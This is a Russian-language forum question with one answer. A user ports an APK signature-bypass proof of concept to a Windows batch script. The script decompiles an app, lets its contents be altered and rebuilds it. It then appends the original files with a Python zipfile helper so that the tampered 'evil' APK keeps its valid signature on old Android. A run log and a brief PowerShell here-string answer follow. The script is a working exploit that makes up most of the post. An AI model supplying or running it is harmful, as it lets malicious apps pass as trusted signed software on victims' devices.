Задать вопрос
EPIDEMIASH
@EPIDEMIASH
Человек швейцарский нож

Как запустить код Python через PS в этом случае?

Есть такая вещь (подмена апк с сохранением подписи), которая отлично подойдет для старой версии андроида.

Я попытался переписать его под запуск в среде Windows, и все бы отлично, если бы последняя часть кода запускалась. Не могу найти решение да и проблему. Не работает после строки type >poc.py <<EOF

if [%1] == [] (
    echo Usage: %0 ^<APK^>
    exit /b 1
)
SET APK=%1
rd /s /q out out.apk tmp 2>nul
java -jar apktool.jar d -f %APK% -o out
echo Modify files, when done type 'exit'
cd out
cmd /k
cd ..
java -jar apktool.jar b out -o out.apk
mkdir tmp
cd tmp
copy "..\%APK%" "..\%APK%.zip"
powershell -Command "Expand-Archive -Path ..\%APK%.zip -DestinationPath ."
move "..\out.apk" .
type >poc.py <<EOF
import zipfile
import sys

with zipfile.ZipFile(sys.argv[1], "a") as z:
    z.write(sys.argv[2])
EOF
for /r %%f in (*) do (
    if not "%%~nxf" == "poc.py" if not "%%~nxf" == "out.apk" (
        python poc.py out.apk "%%f"
    )
)
mkdir ..\evil
copy out.apk ..\evil\evil-%APK%
cd ..
rd /s /q tmp out
echo Modified APK: evil-%APK%


Ну и далее код Python не срабатывает и не создается итоговая папка с мод файлом.

Log

PS C:\APKTool> .\script.bat .\SystemUI.apk

C:\APKTool>if [.\SystemUI.apk] == [] (
echo Usage: "C:\APKTool\script.bat"
exit /b 1
)

C:\APKTool>SET APK=.\SystemUI.apk

C:\APKTool>rd /s /q out out.apk tmp 2>nul

C:\APKTool>java -jar apktool.jar d -f .\SystemUI.apk -o out
I: Using Apktool 2.9.0 on SystemUI.apk
I: Loading resource table...
I: Decoding file-resources...
I: Loading resource table from file: C:\Users\epide\AppData\Local\apktool\framework\1.apk
I: Decoding values */* XMLs...
I: Decoding AndroidManifest.xml with resources...
I: Regular manifest package...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

C:\APKTool>echo Modify files, when done type 'exit'
Modify files, when done type 'exit' C:\APKTool>cd out C:\APKTool\out>cmd /k C:\APKTool\out>exit

C:\APKTool\out>cd ..

C:\APKTool>java -jar apktool.jar b out -o out.apk
I: Using Apktool 2.9.0
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
I: Building apk file...
I: Copying unknown files/dir...
I: Built apk into: out.apk

C:\APKTool>mkdir tmp

C:\APKTool>cd tmp

C:\APKTool\tmp>copy "..\.\SystemUI.apk" "..\.\SystemUI.apk.zip"
Скопировано файлов: 1.

C:\APKTool\tmp>powershell -Command "Expand-Archive -Path ..\.\SystemUI.apk.zip -DestinationPath ."

C:\APKTool\tmp>move "..\out.apk" .
Перемещено файлов: 1.
Непредвиденное появление: <<.

C:\APKTool\tmp>type >poc.py <
  • Вопрос задан
  • 193 просмотра
Подписаться 1 Простой 6 комментариев
Решения вопроса 1
в повершелл чтобы создать многострочную переменную

вместо <<EOF

используется
$x = @"
code with variable expansion ${x} или $y
"@

также прочитайте про out-file чтоб создавать файлы

и вметсо%x% для переменных окружения используется ${env:X}
Ответ написан
Комментировать
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы